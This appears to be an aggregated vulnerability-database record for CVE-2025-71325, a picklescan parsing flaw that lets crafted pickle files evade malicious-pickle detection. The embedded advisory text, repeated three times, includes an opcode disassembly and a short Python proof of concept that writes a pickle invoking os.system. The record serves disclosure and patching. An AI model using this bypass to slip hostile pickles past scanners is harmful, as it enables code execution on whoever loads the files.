{"id":"CVE-2025-71325","aliases":["EUVD-2025-210271","GHSA-5rph-q42j-36j9","GHSA-9gvj-pp9x-gcfr","PYSEC-2026-1788"],"status":"published","title":"picklescan - Detection Bypass via STACK_GLOBAL Opcode Parsing Logic Flaw","description":"picklescan before 0.0.27 contains a parsing logic error in the _list_globals function when handling STACK_GLOBAL opcodes, failing to track arguments in the correct range and allowing malicious pickle files to bypass detection. Attackers can craft pickle files with arguments at position zero to trigger unexpected exceptions and evade security scanning.","severity":{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00604,"percentile":0.49395,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-391","CWE-502"],"published":"2025-08-12T00:13:55Z","modified":"2026-11-08T14:00:26Z","fixes":[{"ecosystem":"PyPI","package":"picklescan","fixed_in":["0.0.27"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"picklescan","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.27"}]}]},{"source":"osv","ecosystem":"PyPI","package":"picklescan","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.27"}]}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.3","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.0.9"]},{"source":"osv","ecosystem":"PyPI","package":"picklescan","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.27"}]}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.3","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.0.9"]}],"products":[{"vendor":"mmaitre314","product":"picklescan"},{"vendor":"picklescan","product":"picklescan"}],"references":[{"url":"https://github.com/mmaitre314/picklescan/security/advisories/GHSA-9gvj-pp9x-gcfr","tags":["vendor-advisory","exploit","advisory","web"]},{"url":"https://github.com/mmaitre314/picklescan/commit/2a8383cfeb4158567f9770d86597300c9e508d0f","tags":["patch","fix","web"]},{"url":"https://www.vulncheck.com/advisories/picklescan-detection-bypass-via-stack-global-opcode-parsing-logic-flaw","tags":["third-party-advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-71325","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-5rph-q42j-36j9"},{"url":"https://github.com/mmaitre314/picklescan/commit/58983e1c20973ac42f2df7ff15d7c8cd32f9b688","tags":["web"]},{"url":"https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L255","tags":["web"]},{"url":"https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L281","tags":["web"]},{"url":"https://github.com/mmaitre314/picklescan/releases/tag/v0.0.27","tags":["web"]},{"url":"https://github.com/advisories/GHSA-9gvj-pp9x-gcfr","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/71xxx/CVE-2025-71325.json","tags":["advisory"]},{"url":"https://github.com/mmaitre314/picklescan","tags":["package"]},{"url":"https://pypi.org/project/picklescan","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-71325","title":"picklescan - Detection Bypass via STACK_GLOBAL Opcode Parsing Logic Flaw","description":"picklescan before 0.0.27 contains a parsing logic error in the _list_globals function when handling STACK_GLOBAL opcodes, failing to track arguments in the correct range and allowing malicious pickle files to bypass detection. Attackers can craft pickle files with arguments at position zero to trigger unexpected exceptions and evade security scanning.","status":"published","published":"2026-06-17T15:05:00.84Z","modified":"2026-11-08T14:00:26.179Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical","assessor":"cna"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-391"],"updated_at":"2026-11-08T14:43:22.764053Z"}],"euvd":[{"id":"EUVD-2025-210271","description":"picklescan before 0.0.27 contains a parsing logic error in the _list_globals function when handling STACK_GLOBAL opcodes, failing to track arguments in the correct range and allowing malicious pickle files to bypass detection. Attackers can craft pickle files with arguments at position zero to trigger unexpected exceptions and evade security scanning.","status":"published","published":"2026-06-17T15:05:00Z","modified":"2026-11-08T14:00:26Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"updated_at":"2026-11-08T15:13:10.25084Z"}],"ghsa":[{"id":"GHSA-5rph-q42j-36j9","title":"Duplicate Advisory: Picklescan has pickle parsing logic flaw that leads to malicious pickle file bypass","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-9gvj-pp9x-gcfr. This link is maintained to preserve external references.\n\n## Original Description\n\npicklescan before 0.0.27 contains a parsing logic error in the _list_globals function when handling STACK_GLOBAL opcodes, failing to track arguments in the correct range and allowing malicious pickle files to bypass detection. Attackers can craft pickle files with arguments at position zero to trigger unexpected exceptions and evade security scanning.","status":"withdrawn","published":"2026-06-17T18:35:56Z","modified":"2026-06-18T14:40:55Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-391"],"updated_at":"2026-11-02T14:40:29.43528Z"},{"id":"GHSA-9gvj-pp9x-gcfr","title":"Picklescan has pickle parsing logic flaw that leads to malicious pickle file bypass","description":"### Details\nThere's a parsing logic error in picklescan and modelscan while trying to deal with opcode `STACK_GLOBAL`.\nFunction `_list_globals` when handling `STACK_GLOBAL` at position `n`, it is expected to track two arguments but in wrong range. The loop only consider the range from `1` to `n-1` but forgets to consider the opcode at position `0`. The correct range should be `0` to `n-1`. Attacker can put arg in position `0`, thus the parser can only tract one argument. Then, the exception https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L281 will be triggered. Thus it can cause detection bypass since the malicious pickle file will trigger unexpected exceptions.\n\nExample:\n```\n    0: S    STRING     'os' --\u003e arg 0: STRING (untracked argument due to wrong scanning range)\n    6: S    STRING     'system' --\u003e arg 1: STRING (tracked argument)\n   16: \\x93 STACK_GLOBAL\n   17: S    STRING     'ls'\n   23: \\x85 TUPLE1\n   24: R    REDUCE\n   25: .    STOP\n```\n\n\n### PoC\n``` python\nimport pickle\npayload = b\"S'os'\\nS'system'\\n\\x93S'ls'\\n\\x85R.\"\nwith open('bad_pickle.pkl', 'wb') as f:\n    f.write(payload)\npickle.load(open('bad_pickle.pkl', 'rb'))\n```\n\n### Impact\nDetection bypass in both picklescan and modelscan. Note that it also affects the online hugging face pickle scanners, making the malicious pickle file bypass the detection. \n\n### Fix\nTo fix the range here, change `range(1, n)` to `range(1, n+1)` to ensure that `n-offset` stays within the range of `0` to `n`.\nhttps://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L255","status":"published","published":"2025-08-12T00:13:55Z","modified":"2026-06-18T14:41:03Z","cvss":[{"version":"4.0","score":8.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:40:29.43528Z"}],"nvd":[{"id":"CVE-2025-71325","description":"picklescan before 0.0.27 contains a parsing logic error in the _list_globals function when handling STACK_GLOBAL opcodes, failing to track arguments in the correct range and allowing malicious pickle files to bypass detection. Attackers can craft pickle files with arguments at position zero to trigger unexpected exceptions and evade security scanning.","status":"published","published":"2026-06-17T17:16:41.247Z","modified":"2026-10-12T22:10:00.247Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical","assessor":"secondary"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-391"],"updated_at":"2026-11-02T14:12:02.535029Z"}],"osv":[{"id":"CVE-2025-71325","title":"picklescan - Detection Bypass via STACK_GLOBAL Opcode Parsing Logic Flaw","description":"picklescan before 0.0.27 contains a parsing logic error in the _list_globals function when handling STACK_GLOBAL opcodes, failing to track arguments in the correct range and allowing malicious pickle files to bypass detection. Attackers can craft pickle files with arguments at position zero to trigger unexpected exceptions and evade security scanning.","status":"published","published":"2026-06-17T15:05:00.84Z","modified":"2026-11-11T10:47:22.179783394Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-391"],"updated_at":"2026-11-09T03:16:48.35602Z"},{"id":"GHSA-5rph-q42j-36j9","title":"Duplicate Advisory: Picklescan has pickle parsing logic flaw that leads to malicious pickle file bypass","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-9gvj-pp9x-gcfr. This link is maintained to preserve external references.\n\n## Original Description\n\npicklescan before 0.0.27 contains a parsing logic error in the _list_globals function when handling STACK_GLOBAL opcodes, failing to track arguments in the correct range and allowing malicious pickle files to bypass detection. Attackers can craft pickle files with arguments at position zero to trigger unexpected exceptions and evade security scanning.","status":"withdrawn","published":"2026-06-17T18:35:56Z","modified":"2026-09-10T03:50:48.429898886Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"},{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical"}],"cwes":["CWE-391"],"updated_at":"2026-11-02T15:46:38.911014Z"},{"id":"GHSA-9gvj-pp9x-gcfr","title":"Picklescan has pickle parsing logic flaw that leads to malicious pickle file bypass","description":"### Details\nThere's a parsing logic error in picklescan and modelscan while trying to deal with opcode `STACK_GLOBAL`.\nFunction `_list_globals` when handling `STACK_GLOBAL` at position `n`, it is expected to track two arguments but in wrong range. The loop only consider the range from `1` to `n-1` but forgets to consider the opcode at position `0`. The correct range should be `0` to `n-1`. Attacker can put arg in position `0`, thus the parser can only tract one argument. Then, the exception https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L281 will be triggered. Thus it can cause detection bypass since the malicious pickle file will trigger unexpected exceptions.\n\nExample:\n```\n    0: S    STRING     'os' --\u003e arg 0: STRING (untracked argument due to wrong scanning range)\n    6: S    STRING     'system' --\u003e arg 1: STRING (tracked argument)\n   16: \\x93 STACK_GLOBAL\n   17: S    STRING     'ls'\n   23: \\x85 TUPLE1\n   24: R    REDUCE\n   25: .    STOP\n```\n\n\n### PoC\n``` python\nimport pickle\npayload = b\"S'os'\\nS'system'\\n\\x93S'ls'\\n\\x85R.\"\nwith open('bad_pickle.pkl', 'wb') as f:\n    f.write(payload)\npickle.load(open('bad_pickle.pkl', 'rb'))\n```\n\n### Impact\nDetection bypass in both picklescan and modelscan. Note that it also affects the online hugging face pickle scanners, making the malicious pickle file bypass the detection. \n\n### Fix\nTo fix the range here, change `range(1, n)` to `range(1, n+1)` to ensure that `n-offset` stays within the range of `0` to `n`.\nhttps://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L255","status":"published","published":"2025-08-12T00:13:55Z","modified":"2026-07-07T17:56:08.463569338Z","cvss":[{"version":"4.0","score":8.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T15:46:43.875515Z"},{"id":"PYSEC-2026-1788","title":"Picklescan has pickle parsing logic flaw that leads to malicious pickle file bypass","description":"### Details\nThere's a parsing logic error in picklescan and modelscan while trying to deal with opcode `STACK_GLOBAL`.\nFunction `_list_globals` when handling `STACK_GLOBAL` at position `n`, it is expected to track two arguments but in wrong range. The loop only consider the range from `1` to `n-1` but forgets to consider the opcode at position `0`. The correct range should be `0` to `n-1`. Attacker can put arg in position `0`, thus the parser can only tract one argument. Then, the exception https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L281 will be triggered. Thus it can cause detection bypass since the malicious pickle file will trigger unexpected exceptions.\n\nExample:\n```\n    0: S    STRING     'os' --\u003e arg 0: STRING (untracked argument due to wrong scanning range)\n    6: S    STRING     'system' --\u003e arg 1: STRING (tracked argument)\n   16: \\x93 STACK_GLOBAL\n   17: S    STRING     'ls'\n   23: \\x85 TUPLE1\n   24: R    REDUCE\n   25: .    STOP\n```\n\n\n### PoC\n``` python\nimport pickle\npayload = b\"S'os'\\nS'system'\\n\\x93S'ls'\\n\\x85R.\"\nwith open('bad_pickle.pkl', 'wb') as f:\n    f.write(payload)\npickle.load(open('bad_pickle.pkl', 'rb'))\n```\n\n### Impact\nDetection bypass in both picklescan and modelscan. Note that it also affects the online hugging face pickle scanners, making the malicious pickle file bypass the detection. \n\n### Fix\nTo fix the range here, change `range(1, n)` to `range(1, n+1)` to ensure that `n-offset` stays within the range of `0` to `n`.\nhttps://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L255","status":"published","published":"2026-07-07T16:03:00.934894Z","modified":"2026-07-07T17:48:02.274733668Z","cvss":[{"version":"4.0","score":8.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","level":"high"}],"updated_at":"2026-11-02T15:52:55.06457Z"}]}}